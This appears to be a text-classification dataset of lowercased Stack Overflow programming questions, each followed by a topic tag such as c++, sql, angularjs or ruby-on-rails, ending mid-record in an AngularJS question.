alternative way of finding documents directory on ios  usually the answer to finding the documents directory on ios involves code like this:   <pre><code>+ (nsstring *) applicationdocumentsdirectory  {         nsarray *paths = nssearchpathfordirectoriesindomains(nsdocumentdirectory  nsuserdomainmask  yes);     nsstring *basepath = ([paths count] &gt; 0)   [paths objectatindex:0] : nil;     return basepath; } </code></pre>   but  i have discovered an alternative version:   <pre><code>+ (nsstring *)applicationdocumentsdirectory {     return [@ ~/documents  stringbyexpandingtildeinpath]; } </code></pre>   is there any reason why i can t use this   perhaps the documents directory may not be in the home directory in the future,ios
c++ primer plus chapter 6 exercise 2 enter understanding  i am learning from c++ primer plus book  and i ve recently done this exercise from the book. i have a problem: when the user hits enter without any sign  then in the next entry to display any of these functions he has to hit enter again  because if not it ll still display  wrong choice  and  next choice:  all the time. can you tell me what s wrong with this code  and what should i add  thanks in advance.   <pre><code>        /*when you join the benevolent order of programmers  you can be known at bop     meetings by your real name  your job title  or your secret bop name.write a program     that can list members by real name  by job title  by secret name  or by a member’s     preference. base the program on the following structure:     // benevolent order of programmers name structure     struct bop {     char fullname[strsize]; // real name     char title[strsize]; // job title     char bopname[strsize]; // secret bop name     int preference; // 0 = fullname  1 = title  2 = bopname     };     in the program  create a small array of such structures and initialize it to suitable     values. have the program run a loop that lets the user select from different alternatives:     a. display by name b. display by title     c. display by bopname d. display by preference     q. quit     302 chapter 6 branching statements and logical operators     note that “display by preference” does not mean display the preference member; it     means display the member corresponding to the preference number. for instance  if     preference is 1  choice d would display the programmer’s job title.a sample run     may look something like the following:     benevolent order of programmers report     a. display by name b. display by title     c. display by bopname d. display by preference     q. quit     enter your choice: a     wimp macho     raki rhodes     celia laiter     hoppy hipman     pat hand     next choice: d     wimp macho     junior programmer     mips     analyst trainee     loopy     next choice: q     bye!*/ </code></pre>   solution:   <pre><code>    #include &lt;iostream&gt;      void text();     void name();     void title();     void secret();     void prefr();      const int strsize = 23;     const int people = 4;      char ch;      struct bop {     char fullname[strsize]; // real name     char title[strsize];    // job title     char bopname[strsize];  //secret bop name     int preference;         // 0 = fullname  1 = title  2 = bopname     };      bop people[people]  //array of 4 structures         {             { tony hawk    junior programmer    novice  2}   //first member             { bill gates    founder of microsoft    billionaire  1}     //second member             { pop leather    graphic designer    fast and furious  2}   //third member             { steve jobs    apple leader    undead dragon  0}   //fourth member         };       int main()     {         text();    //call a text function         std::cin.get(ch);    //get a character         int i=0;         while(ch!= q )         {             switch(ch)             {                 case  a :                     name();                     break;                 case  b :                     title();                     break;                 case  c :                     secret();                     break;                 case  d :                     prefr();                     break;                 default: std::cout &lt;&lt;  wrong choice\n ;             }              std::cout &lt;&lt;  next choice: \n ;             std::cin.get();             std::cin.get(ch);         }         std::cout&lt;&lt; bye! ;         return 0;     }      void text()     {         std::cout&lt;&lt; benevolent order of programmers report\n           a. display by name         b. display by title\n           c. display by bopname      d. display by preference\n           q. quit\n           enter your choice: ;     }        void name()     {         for(int i=0;i&lt;people;i++)         std::cout&lt;&lt;people[i].fullname&lt;&lt;std::endl;     }     void title()     {         for(int i=0;i&lt;people;i++)         std::cout&lt;&lt;people[i].title&lt;&lt;std::endl;     }     void secret()     {         for(int i=0;i&lt;people;i++)             std::cout&lt;&lt;people[i].bopname&lt;&lt;std::endl;     }     void prefr()     {         for(int i=0;i&lt;people;i++)         {             if(people[i].preference==0)                 std::cout&lt;&lt;people[i].fullname&lt;&lt;std::endl;             else if(people[i].preference==1)                 std::cout&lt;&lt;people[i].title&lt;&lt;std::endl;             else if(people[i].preference==2)                 std::cout&lt;&lt;people[i].bopname&lt;&lt;std::endl;         }     } </code></pre>,c++
finding numbers between 2 numbers  i just started learning c++ and very new to it and trying to write a simple for loop to print all numbers between two numbers.    e.g 1-4    numbers between 1 4 output    <pre><code>2  3  </code></pre>   the for loop.   <pre><code>int main() {       int firstnumber;      int secondnumber;      std::cout &lt;&lt;  enter first number  &lt;&lt; std::endl;      std::cin &gt;&gt; firstnumber;      std::cout &lt;&lt;  enter second number  &lt;&lt; std::endl;      std::cin &gt;&gt; secondnumber;       for (int i=firstnumber; i&lt;secondnumber; i++)  {         std::cout &lt;&lt; i &lt;&lt; std::endl;      } } </code></pre>,c++
sql query to find last date  we enter our production data in the database next day of production  i am using the following query to get the yesterday data.     query works fine until after weekend  it shows nothing on monday because there is no production on weekend.    is there anyway i can change the query to show me the last day of production.   <pre><code>select date  productcode from production where (productcode in ( 35032   40112-i   41212-i   50112   824-5 ))                    and (date=dateadd(dd -1 convert(char(8) current_timestamp 112))) </code></pre>,sql
jquery (advanced ) function  i have found many example jquery code where they use multiple functions like <code>$( object ).function1().function2()</code><br>can someone please explain to me how this actually works and how to properly use it,jquery
activerecord::recordnotfound in rails  i have an app with a users table and a connections table (think of a connection as a friend; user_id = current_user and otheruser_id = the user profile you re viewing). i have a link on user profiles that lets the current_user edit that connection. here is the form_for on the user show page: (updated code):   <pre><code>&lt;% unless current_user == @user %&gt; &lt;% if @connection.blank  %&gt; how do you know &lt;%= @user.first_name %&gt;  (&lt;%= link_to  edit contact   { :controller =&gt;  connections   :action =&gt;  create   :id =&gt; :connection } %&gt; ) &lt;% else %&gt; &lt;%= @user.first_name %&gt; is your &lt;%= @connection.description %&gt; (&lt;%= link_to  edit contact   { :controller =&gt;  connections   :action =&gt;  edit   :id =&gt; @connection.id } %&gt; ) &lt;% end %&gt; </code></pre>   however  clicking on the edit link above shows this error:    <strong>activerecord::recordnotfound in connectionscontroller#edit couldn t find connection with id=2 [where  connections . user_id  = 1]</strong>    it seems as if it s using the user_id on the show page (in the above example i m looking at user_id 2) as the connection_id in the connections table. how do i change it to the correct id     connections controller:   <pre><code>class connectionscontroller &lt; applicationcontroller   def update   @connection = current_user.connections.find(params[:id])     if @connection.update_attributes(params[:connection])       flash[:notice] =  contact relationship updated        redirect_to @user     end   end    def edit     @connection = current_user.connections.find(params[:id])     redirect_to @user   end    def create     #@user = user.find(params[:user_id])     @connection = current_user.connections.build(params[:connection])     if @connection.save       flash[:success] =  contact relationship saved!        redirect_to @user     else       render @user     end   end end </code></pre>   user controller if needed:   <pre><code>def show     @user = user.find(params[:id])     @connection = current_user.connections.build(:otheruser_id =&gt; @user)   end </code></pre>   how can i have the edit and create links use the correct connection_id instead of the user_id     also  another problem i noticed is that the app is bypassing the first condition in the if statement. even if there is no @connection  it s skipping to the condition where it assumes that there <em>is</em> a connection.    your time is greatly appreciated. i m really stuck here. thanks!    edit 1: adding routes just in case:   <pre><code>authenticated :user do     root :to =&gt;  activities#index    end   root :to =&gt;  home#index    devise_for :users  :controllers =&gt; { :registrations =&gt;  registrations  }   resources :users do     member do       get :following  :followers  :posts  :comments  :activities  :works  :contributions  :connections     end   end   resources :works do     resources :comments   end   resources :relationships  only: [:create  :destroy]   resources :posts   resources :activities   resources :reposts   resources :comments do     member do       put :toggle_is_contribution     end     end   resources :explore   resources :connections end </code></pre>   edit 2:     just to clarify  in the error message above  i m viewing the user_id = 2 profile  but no connections exist right now (just did a local purge) so my view should be showing link to the create path (newly discovered problem). regardless  it still seems to be using user_id in place of the connection_id. even if a connection already existed  it should be going to edit connection with id = 1  not 2.    <strong>thanks for the help so far everyone.  edit 3: i updated the form_for above. i have two problems now:</strong>   <ol> <li> form isn t recognizing the if statement  if connection.blank   and is going to the second condition: editing the connection even if a connection doesn t exist in the database. </li> <li> when i click on the edit link  even if the connection doesn t exist  i get a routing error: no route matches {:controller=> connections   :action=> edit   :id=>nil}. again  this may be because no connections exist yet. i may need to fix #1 before this issue can be fixed. </li> </ol>   ps: i m willing to pay for a solution...i am completely stumped! thanks again to everyone who helped so far.,ruby-on-rails
detecting which field was actually modified  i created a simple form which uses angular js for validation. the form has a save and modify button. if a user hits the modify button  it allows them to make changes to their inputs/fields. another cool thing is that if something is actually modified  it will go ahead remain highlighted orange (so that a user knows which part of the form was modified) but if nothing is modified then there is no border once you go away from the field. my question/new requirement is the following: if suppose i went on to the name field  for example  i change it and then decide to go back to what it was written originally  then theoritcally there should be no orange highlight remaining on the field. how do i make that happen  so if i change the field from a to b but then change it back to a  no border should be there because i ended up not changing the value. i have no idea how to do this. any suggestions/guidance/tutorials that can help me solve this would be greatly appreciated. i have a snippet of my code below   <pre><code>&lt;!doctype html&gt; &lt;html&gt;  &lt;head&gt;   &lt;script src= https://code.angularjs.org/1.4.8/angular.js  data-semver= 1.4.8  data-require= angular.js@1.4.8 &gt;&lt;/script&gt;   &lt;script&gt;     var app = angular.module( app   []);     app.controller( ctrl   function($scope) {       });   &lt;/script&gt;   &lt;style&gt;     .somecss {       border: 5px solid orange;     }   &lt;/style&gt; &lt;/head&gt;  &lt;body ng-app= app  ng-controller= ctrl &gt;    &lt;form name= custform &gt;     name:     &lt;input id= name  ng-class= {somecss: custform.name.$dirty}  ng-model= somemodel.name  /&gt;     &lt;br&gt; email:(change some value)     &lt;input id= email2  name= email2  ng-class= {somecss: custform.email2.$dirty}  ng-model= somemodel.email2  /&gt;    &lt;/form&gt;   touched:{{custform.name.$touched}}   &lt;br&gt; dirty:{{custform.email2.$dirty}}   &lt;br&gt;  &lt;/body&gt; </code></pre>,angularjs
use wildcard to filter query results  i have a dropdown created with results from a coldfusion query. i am trying to figure out how to remove assoc_last names that begin with test*. is it possible to put a <code>where assoc_last =  test* </code> and have that remove values containing  test  in that database  like  testby  and so on     <pre><code>&lt;cfquery name= getactiveemps  datasource= dsn &gt;         select assoc_userid  assoc_last  assoc_first from tco_associates         where assoc_status =  active          and where assoc_last like  test%           and len(assoc_last) &gt; 0         order by assoc_last     &lt;/cfquery&gt;     </code></pre>,sql
why do my angular <img ng:src .../> behave different depending on the browser   my angular page which i reduced to a to a <a href= http://cipher-code.de/tmp/angular/index.xhtml#/img  rel= nofollow >minimal example here</a> i tried three different ways to show the same img (just a red rectangle) in the  img -page:   <ul> <li>the first image uses the xml-style parameter  ng:src  to specify the file location.</li> <li>the second image uses the  ng- -prefix style</li> <li>the third image just uses the src attribute (which i thought will probably not work well (the <a href= https://docs.angularjs.org/api/ng/directive/ngsrc  rel= nofollow >documentation here</a> says that as well).</li> </ul>   in <strong>firefox</strong> all three images are displayed just fine.    in <strong>opera</strong> the page shows only the later two images.    <strong>chromium</strong> refuses to even load the page at all (it says  error: an invalid or illegal string was specified.  on the console). (it works if i remove the xml-style img).    why is this happening  since i believe in xml my preference would be to get the xml-style parameter to work in all browsers. note that i don t care about internet explorer.    archive with my (broken) project: <a href= http://cipher-code.de/tmp/angular.zip  rel= nofollow >http://cipher-code.de/tmp/angular.zip</a>,angularjs
how to convert text to audio file in iphone   i am implementing one iphone applicaion in which i want to implement below functionality.    1)user can put input text.after pressing on ok button this text should convert in audio file. 2)user can draw text on the iphone screen and after pressign ok button text should convert in auddio file.    is it possible i dont know can you give me advice for that.    thanks in advance,iphone
web navigation - how to link html documents  how can i connect my navigation bar to my html files    <pre><code>&lt;header class= mainheader &gt;              &lt;!--postavi snimkata za logoto!!!--&gt;         &lt;img src= star_shine2.png &gt;               &lt;nav&gt;&lt;ul&gt;             &lt;li class= active &gt;&lt;a href= #index.html &gt;история на зодиака&lt;/a&gt;&lt;/li&gt;             &lt;li&gt;&lt;a href= index1.html &gt;видове зодии&lt;/a&gt;&lt;/li&gt;             &lt;li&gt;&lt;a href= # &gt;зодиакална прогноза&lt;/a&gt;&lt;/li&gt;             &lt;/ul&gt;&lt;/nav&gt;  &lt;/header&gt;            &lt;div class= maincontent &gt;             &lt;div class= content &gt;                 &lt;article class= topcontent &gt;                     &lt;header&gt; </code></pre>,html
animation not responding on time  i m attempting to create a jquery animation in which one object moves from left to right until it reaches a certain position on the window. then the object should move all the way back to its origin. what is happening is that it seems the code is responding accordingly and upon reaching 300 it is changing the variables from 200 to -200 to enable the object to go back but it seems the object itself reacts late and won t change direction but until it reaches the end of the window. here is the code:   <pre><code>var speed = 200; var limite = 300; var posleft;  function animecosa(){     posleft = parseint($( #circulo ).offset().left);     if(posleft &gt; limite){         speed = -200;     }     $( #circulo ).animate({left :  += +speed}      3000       linear );  }  setinterval(animecosa 1000); </code></pre>   thanks in advance    cheers,jquery
how to set and get the value of a global variable    i am trying to set and get the value of a global variables. here is the <a href= http://jsfiddle.net/alexanderbulatovick/r8fsh3ek/  rel= nofollow >jsfiddle</a>    html   <pre><code>&lt;input type= button  value= setvalue  onclick= setvalue() &gt; &lt;input type= button  value= getvalue  onclick= getvalue() &gt; </code></pre>   js   <pre><code>//setting global variable var thevalues =   ;  function setvalue() {     thevalues =  test ;     alert(thevalues); }  function getvalue() {     alert(thevalues); } </code></pre>   but it is not throwing an error and not working,javascript
mysql left outer join is taking too long time to respond from php  i have nearly 10000 records in my database. when the queries are not joined the query sent through php to mysql is working very fast. but when we join tables using left outer join it is very slow.    this my query.    <pre><code>    $sql =  select  rollno  stuname  total  ifnull(sum(fpaid) 0) as feepaid  total-coalesce(sum(fpaid) 0) as balance  status  comments  category from      (select         studet.rollno as rollno          studet.stuname as stuname          studet.course as course          studet.branch as branch          studet.category as category          studet.year as year          studet.total as total          studet.status as status          studet.comments as comments          studet.academic as academic           stufeeref.feepaid as fpaid         from studet         left outer join stufeeref         on studet.rollno = stufeeref.rollno         and studet.year = stufeeref.year     ) as t where  branch= $branch  and year= $year  and academic= $academic  and course= $course  group by rollno year ;  </code></pre>   please tell me how to  optimize my query.  thanks in advance.,mysql
determine in english a uicolor  i have used an extension to get the average color. for example:   <pre><code>uicolor *color = self.imageview.image.averagecolor;  (lldb) po color uidevicergbcolorspace 0.956863 0.117647 0.0980392 1 </code></pre>   i am looking for a way to determine in english a uicolor for example  red  above for all colors.    thanks in advance.,objective-c
ios itunes can t remove devices: an unspecified error occurred. please refresh and try again  i want to reset the device lists form the ios dev portal.    but when i click on continue button i got this error: an unspecified error occurred. please refresh and try again.    i got this error since 3 days.    edit: i tried on windows  osx  chrome  firefox...,ios
how to display values from one and the same table with a difference of one year   there is a table containing the date of the study patients.   <pre><code>select inspection_date from inspection </code></pre>   study of the patient is done not regularly with a random period of time.  you want to display in a single line the information about the first study and study that was closest to the patient via the first study +1 year.,sql
android image button problem <pre><code>imgvw_back.setonclicklistener(this); imgvw.setonclicklistener(this); static id=10  @override public void onclick(view v) {    // todo auto-generated method stub    switch(v.getid())    {      case r.id.back:       log.v( back    +id--);       break;       case r.id.forward:        log.v( next    +id++);        break;                               } } </code></pre>   i am using this kind of concept but mostly fire r.id.back part  what can i do plz give solution for this problem...,android
vector of templates  i declared a template for a class and i am trying to use that class as a vector in the subsequent class. here is my code:   <pre><code>#include &lt;iostream&gt; #include &lt;vector&gt; #include &lt;utility&gt;  using namespace std;  template &lt;typename l&gt;  class adjacencylistvertex {  public:     l data;      vector&lt;int&gt; edges;      adjacencylistvertex() {         data = -1;       }      adjacencylistvertex(l _data) {         data = _data;     }      void add_edge(int other) {         edges.push_back(other) ;     }      void print(int i) {         cout &lt;&lt;    vertex[  &lt;&lt; i &lt;&lt;  ]    &lt;&lt; data &lt;&lt;    connected to: ;         for (int j = 0; j &lt; edges.size(); j++) {             cout &lt;&lt;     &lt;&lt; edges.at(j);         }         cout &lt;&lt; endl;     } };  template &lt;typename l&gt; class adjacencylistgraph {   public:       vector&lt;typedef adjacencylistvertex*&gt; vertices;      adjacencylistgraph(int size) {         vertices = vector&lt;typedef adjacencylistvertex*&gt; (size  adjacencylistvertex&lt;l&gt;());     }      void add_vertex(int position  l data) {         vertices.at(position) = adjacencylistvertex&lt;l&gt;(data);     }       void add_edge(int vertex1  int vertex2) {         vertices.at(vertex1).add_edge(vertex2);     }      void print() {         cout &lt;&lt;  adjacencylistgraph:  &lt;&lt; endl;         for (int i = 0; i &lt; vertices.size(); i++) {             if (vertices.at(i).data != -1) vertices.at(i).print(i);         }     } };    int main(int argc  char** argv) {       adjacencylistgraph&lt;string&gt; alg_str = adjacencylistgraph&lt;string&gt;(5);      alg_str.add_vertex(0   alg_str vertex 0 );     alg_str.add_vertex(1   alg_str vertex 1 );     alg_str.add_vertex(2   alg_str vertex 2 );     alg_str.add_vertex(3   alg_str vertex 3 );     alg_str.add_vertex(4   alg_str vertex 4 );      alg_str.add_edge(0  1);     alg_str.add_edge(1  0);     alg_str.add_edge(1  3);     alg_str.add_edge(3  4);   } </code></pre>   i keep getting the errors:   <pre><code>graphs.cpp:38: error: template argument 1 is invalid graphs.cpp:38: error: template argument 2 is invalid graphs.cpp: in constructor ‘adjacencylistgraph&lt;l&gt;::adjacencylistgraph(int)’: graphs.cpp:41: error: template argument 1 is invalid graphs.cpp:41: error: template argument 2 is invalid graphs.cpp: in member function ‘void adjacencylistgraph&lt;l&gt;::add_vertex(int  l)’: graphs.cpp:48: error: request for member ‘at’ in ‘((adjacencylistgraph&lt;l&gt;*)this)-    &gt;adjacencylistgraph&lt;l&gt;::vertices’  which is of non-class type ‘int’ graphs.cpp: in member function ‘void adjacencylistgraph&lt;l&gt;::add_edge(int  int)’: graphs.cpp:55: error: request for member ‘at’ in ‘((adjacencylistgraph&lt;l&gt;*)this)-&gt;adjacencylistgraph&lt;l&gt;::vertices’  which is of non-class type ‘int’ graphs.cpp: in member function ‘void adjacencylistgraph&lt;l&gt;::print()’: </code></pre>   its an error in the line: vector vertices;    what mistake am i doing in the definition of the vector,c++
duplicate symbol error  i m not importing .m file  i just started learning  accessor methods  on objective c and i get stuck. i couldn t find why i am getting that  duplicate symbol error  that stops the program from running. should be a easy thing! but i will appreciate some help.    the xcode issue navigator complains:   <pre><code>ld /users/leo/library/developer/xcode/deriveddata/shapes-object-ctkpgnxalegjsdbbylyuaqxtisrd/build/products/debug/shapes-object normal x86_64 cd  /users/leo/google drive/documentos/formación/curso ios/pre ios  pilares/learn objective c on the mac/ejercicios/chapter 06/split 04.02 shapes-green-circles mas facil  export macosx_deployment_target=10.7 /applications/xcode.app/contents/developer/toolchains/xcodedefault.xctoolchain/usr/bin/clang -arch x86_64 -isysroot /applications/xcode.app/contents/developer/platforms/macosx.platform/developer/sdks/macosx10.9.sdk -                     l/users/leo/library/developer/xcode/deriveddata/shapes-object-ctkpgnxalegjsdbbylyuaqxtisrd/build/products/debug -f/users/leo/library/developer/xcode/deriveddata/shapes-object-ctkpgnxalegjsdbbylyuaqxtisrd/build/products/debug -filelist /users/leo/library/developer/xcode/deriveddata/shapes-object-ctkpgnxalegjsdbbylyuaqxtisrd/build/intermediates/shapes-object.build/debug/shapes-object.build/objects-normal/x86_64/shapes-object.linkfilelist -mmacosx-version-min=10.7 -fobjc-link-runtime -framework foundation -xlinker -dependency_info -xlinker /users/leo/library/developer/xcode/deriveddata/shapes-object-ctkpgnxalegjsdbbylyuaqxtisrd/build/intermediates/shapes-object.build/debug/shapes-object.build/objects-normal/x86_64/shapes-object_dependency_info.dat -o /users/leo/library/developer/xcode/deriveddata/shapes-object-ctkpgnxalegjsdbbylyuaqxtisrd/build/products/debug/shapes-object  duplicate symbol _colorprint in: /users/leo/library/developer/xcode/deriveddata/shapes-object-ctkpgnxalegjsdbbylyuaqxtisrd/build/intermediates/shapes-object.build/debug/shapes-object.build/objects-normal/x86_64/main.o /users/leo/library/developer/xcode/deriveddata/shapes-object-ctkpgnxalegjsdbbylyuaqxtisrd/build/intermediates/shapes-object.build/debug/shapes-object.build/objects-normal/x86_64/circulo.o duplicate symbol _colorprint in: /users/leo/library/developer/xcode/deriveddata/shapes-object-ctkpgnxalegjsdbbylyuaqxtisrd/build/intermediates/shapes-object.build/debug/shapes-object.build/objects-normal/x86_64/main.o /users/leo/library/developer/xcode/deriveddata/shapes-object-ctkpgnxalegjsdbbylyuaqxtisrd/build/intermediates/shapes-object.build/debug/shapes-object.build/objects-normal/x86_64/salchicha.o duplicate symbol _colorprint in: /users/leo/library/developer/xcode/deriveddata/shapes-object-ctkpgnxalegjsdbbylyuaqxtisrd/build/intermediates/shapes-object.build/debug/shapes-object.build/objects-normal/x86_64/main.o /users/leo/library/developer/xcode/deriveddata/shapes-object-ctkpgnxalegjsdbbylyuaqxtisrd/build/intermediates/shapes-object.build/debug/shapes-object.build/objects-normal/x86_64/shape.o ld: 3 duplicate symbols for architecture x86_64 clang: error: linker command failed with exit code 1 (use -v to see invocation) </code></pre>   that is my <code>main()</code>:   <pre><code>#import &lt;foundation/foundation.h&gt;  #import  circulo.h  #import  salchicha.h     void funciondibujarformas (id formas[]  int count) { for (int i = 0; i &lt; count; i++) {     id shape = formas[i];     [shape dibujar]; }  } // funciondibujarformas      // -------------------------------------------------- // the main function.  make the shapes and draw them  int main (int argc  const char * argv[])  { id formas[3];   formas[0] = [circulo new]; [formas[0] definircolor: krojo];  formas[2] = [salchicha new]; [formas[2] definircolor: kverde];     funciondibujarformas (formas  3);  return (0);  } // main </code></pre>   that is the  superclass  header for <code>shape.h</code>:   <pre><code>#import &lt;foundation/foundation.h&gt;  typedef enum {  krojo  kverde   } color;   //--------------------------------------------------  nsstring *colorprint (color switchcolor) // color  se asigna  switchcolor  { switch (switchcolor) {     case krojo:         return @ rojo ;         break;     case kverde:         return @ verde ;         break;  }  return @ malign@ ;   } // colorprint   @interface shape : nsobject  { color   rellenarcolor;   }   - (void) definircolor: (color) rellenarcolor;   - (void) dibujar;    @end // shape </code></pre>   that s the <code>shape.m</code>:   <pre><code>#import  shape.h   @implementation shape  - (void) definircolor: (color) implementationrellenarcolor   {  rellenarcolor = implementationrellenarcolor;  } // definircolor  - (void) dibujar { } // draw  @end // shape </code></pre>   that s the  childclass  <code>circulo.h</code>:   <pre><code>#import  shape.h   @interface circulo : shape @end // circulo   </code></pre>   thats the child class circulo.m :   <pre><code>#import  circulo.h   @implementation circulo  - (void) definircolor: (color) implementationrellenarcolor { if ( implementationrellenarcolor == krojo ) {       implementationrellenarcolor = kverde; } [super definircolor: implementationrellenarcolor];  } // definircolor    - (void) dibujar { nslog (@ dibujando un circulo %@   colorprint(rellenarcolor));  } // dibujar  @end // circulo </code></pre>   that s  chilclass  <code>salchicha.h</code>:   <pre><code>#import  shape.h    @interface salchicha : shape  @end // salchicha </code></pre>   thats chilclass salchicha.m   <pre><code>#import  salchicha.h   @implementation salchicha  - (void) dibujar { nslog (@ dibujando una salchicha %@   colorprint(rellenarcolor));   } // dibujar   @end // salchicha </code></pre>,objective-c
removing unwanted characters from folder names  i m creating bunch of folders using a c# console application. an xml file is parsed for different nodes and based on the values the folders are created with the same name.    one of the xml node had the following value with some unknown special character in it (ascii code 127)    <img src= https://i.stack.imgur.com/vabic.jpg  alt= foldername with special character >    there is a special character after foldername. i tried using string.trim() to trim the value but had no luck. i also tried to compare the character with the list of   <pre><code>system.io.path.getinvalidfilenamechars() </code></pre>   and remove it. but still no luck. how can i try to eliminate these characters before i create a folder name. the folder name will be always alpha numeric in my case.,c#
can i use python 3 with default bytes not unicode   is there a systematic way to run python 3.x with all strings defaulting to bytes  i am finding that when  crossing boundaries  for example talking to msgpack  elixir  or zeromq  i m having to do all sorts of contortions constantly figuring out whether strings or bytes will be returned. it s a complete pain and adds a layer of cognitive friction over and above my problem.     for example i have    <pre><code>import argparse parser.add_argument( --nodename ) args = parser.parse_args() </code></pre>   and then to get the nodename i need to do   <pre><code>str(args.nodename) </code></pre>   however zeromq wants bytes  and i m going to use the nodename everywhere i use zeromq. so i make it bytes up front with   <pre><code>nodename.encode() </code></pre>   but now every time i want to use it with a string  say for concatenation  i cannot do so because i have to encode the string first. and half the libraries take perfectly good bytes data type and return them to you as strings  at which time you have to convert them back again to bytes if you want to send them outside python. for a  glue language  this is a total disaster. i m having to do this encode decode dance whenever i cross the boundary  and the worst is that it does not seem consistent across libraries whether they co-opt you to strings or bytes if you send them bytes.     in python 3 is there an option to forego unicode-by-default (since it does after all say   by default   suggesting it can be changed)  or is the answer  stick with 2.7 .,python
linkformat inside of textmails  first off   my english is not very good so be nice :)   <hr>   my problem :     via .net code i send mails to several receivers. these mails contain a link that is decrypted like this :      <a href= http://www.abc.com/defaul.aspx id=o70pzuoz65e=  rel= nofollow noreferrer >http://www.abc.com/defaul.aspx id=o70pzuoz65e=</a>     the problem now is that  f.e. in outlook the link ends before the  =  and the  =  is simply written without being part of the link. the mails are simple textmails and are encoded with  mailencoding.quotedprintable     does someone got a hint for me  how i can show the complete link without using html mails,.net
set default value of attribute in rails  i need to set the default value for an attribute <code>initial_collection_amount</code> to a calculation which is based off another attribute <code>amount</code>. <code>initial_collection_amount</code> is nil until the record has been persisted  so <code>after_create</code> triggers a validation error:   <pre><code>after_create :set_initial_collection_amount def set_initial_collection_amount  self.initial_collection_amount ||= self.amount * 0.15 end </code></pre>   that results in something like <code>initial_collection_amount cannot be blank</code>.    setting <code>initial_collection_amount</code> to 0 with an <code>after_initialize</code> and then running the above <code>after_create</code> seems sloppy  and in fact doesn t even work the way i d think it would. i added a <code>puts</code> to each for the terminal output  like so:   <pre><code>after_initialize :set_initial_collection_amount_to_0 after_create :set_initial_collection_amount_x_15 def set_initial_collection_amount_to_0   puts  a    self.initial_collection_amount ||= 0 end  def set_initial_collection_amount_x_15   puts  b    total = self.amount * 0.15   self.initial_collection_amount ||= total end </code></pre>   terminal output from that shows the <code>a</code> in the puts statement 15 times.    how would i do this  i just want that one attribute to be saved. if i add <code>allow_nil: true</code> to the validations it just saves as blank.,ruby-on-rails
taking input without using libc  how would i take input or print output without using libc  i can use system calls  but didn t know if that would help.,c
php date manipulation  i am designing a software for leave management in php.i actually need a simple function in php which takes a given date as parameter(i.e any date) and no of days to be added to it as the parameter and returns the resultant date.    the function should accept date in  yyyy-mm-dd  format and also return resulting date in same mentioned format.    i need help.any help will be highly appreciated in this regard.,php
replace word of first part string in python  in python  i would like to replace the  be  into  nl  in the following string:   <pre><code>http://test.nl/be/nl/product/abc-dadf-adsfsw-12234/ </code></pre>   but!! i want it to check the part before /product/  because if the string after /product/ contains a  be  it has to remain the same.    examples:    <a href= http://test.nl/nl/nl/product/abc-dadf-be-adsfsw-12234/  rel= nofollow >http://test.nl/nl/nl/product/abc-dadf-be-adsfsw-12234/</a> (part before /product/ contains no be  so has to remain the same)    <a href= http://test.nl/be/nl/product/abc-dadf-be-adsfsw-12234/  rel= nofollow >http://test.nl/be/nl/product/abc-dadf-be-adsfsw-12234/</a> (part before /product/ contains be  so it has to be replaced with nl  so it becomes <a href= http://test.nl/nl/nl/product/abc-dadf-be-adsfsw-12234/  rel= nofollow >http://test.nl/nl/nl/product/abc-dadf-be-adsfsw-12234/</a>)    <a href= http://test.be/nl/nl/product/abc-dadf-be-adsfsw-12234/  rel= nofollow >http://test.be/nl/nl/product/abc-dadf-be-adsfsw-12234/</a> (part before /product/ contains be  so it has to be replaced with nl  so it becomes <a href= http://test.nl/nl/nl/product/abc-dadf-be-adsfsw-12234/  rel= nofollow >http://test.nl/nl/nl/product/abc-dadf-be-adsfsw-12234/</a>),python
how can i post my json from one php to another   i would like to ask if this function exist <code>file_post_contents()</code>  because <code>file_get_contents()</code> is perfectly working and i m just curious if there is get  there should be post also,php
refactoring angular resource chaining  basically i have a angular resource api service as follow. i have use the nested chaining method as below which i think is not so good in coding perspective (especially when there are multiple chaining needed)   <pre><code>angular.module( user ) .factory( userapi   [ $resource ]      function ($resource) {         return $resource( user   {}          {             getuserdetail1: {                 method:  get                   url: url1             }              getuserdetail2: {                 method:  get                   url: url2             }         }     } )  userapi.getuserdetail1({ id: id }).$promise.then(function (res) {     userapi.getuserdetail2({ id: res.userid }).$promise.then(function (res1) {      }  function (errres1) {      }); }  function (errres) {  }); </code></pre>   so  i am now thinking of refactoring the code as follow but i am not sure whether this could be done.   <pre><code>function getuserdetail2 (res) {  };  userapi.getuserdetails1({ id: id}) .then(getuserdetail2(res)) .catch(function (errres) {     // catch error if any error occur }); </code></pre>,angularjs
expected identifier or  (  error before @class  i have these 2 classes:     viewcontroller.h   <pre><code>#import &lt;uikit/uikit.h&gt; #import  uicustombutton.h   @interface viewcontroller : uiviewcontroller &lt;uitableviewdatasource  uitableviewdelegate  uitextfielddelegate&gt;{ ... </code></pre>   viewcontroller.m   <pre><code>#import  viewcontroller.h   @implementation viewcontroller ... </code></pre>   uicustombutton.h   <pre><code>#import &lt;uikit/uikit.h&gt; @class viewcontroller;  @interface uicustombutton : uibutton{ ... </code></pre>   uicustombutton.m   <pre><code>#import  uicustombutton.h  #import  viewcontroller.h   @implementation uicustombutton ... </code></pre>   and i get the following errors    1 expected identifier or  (  - in file uicustombutton.h just before @class    2 expected  )  - also there    3 expected a type - when i try to use viewcontroller in uicustombutton.h    4 in uicustombutton.m i also get the error     after two hours of googling and trying  i just can t see the problem. can you please help      solution:  rewriting everything was a good ideea. it made me see that in the file viewcontroller.m i had accidentally typed a paranthesis  (  on top at the beginning of the file. the compiler didn t poit it out  only uicustombutton.h generated errors.,iphone
"relation between two controller in angular  how to share values between two controllers in angular. my scenario has two controllers and one service. when the user clicks on a button a first controller must create a random number and pass it to another controller.     here is my sample code:    <div class= snippet  data-lang= js  data-hide= false >
 <div class= snippet-code >
 <pre class= snippet-code-js lang-js prettyprint-override ><code>var app = angular.module( app   []);
 app.controller( firstcontroller   function ($scope shareddaterange)  
   {    
       $scope.test = function(){
           shareddaterange.setdata();
       }
         
   });
 
 app.controller( secondcontroller   function ($scope shareddaterange) {
     var data=[];
     data = shareddaterange.getdata();
     alert(data);
 });
 
 
 app.service( shareddaterange   function ($http) {
 var data=[];
 return {
     setdata: function () {
             data = math.floor(math.random() * 6) + 1;
         }
      
     getdata: function(){
         return data;
     }
 }
 });</code></pre>
 <pre class= snippet-code-html lang-html prettyprint-override ><code>&lt;script src= https://ajax.googleapis.com/ajax/libs/angularjs/1.2.23/angular.min.js &gt;&lt;/script&gt;
 &lt;div ng-app= app &gt;
     &lt;div ng-controller= firstcontroller &gt;
         &lt;button ng-click= test() &gt; click&lt;/button&gt;
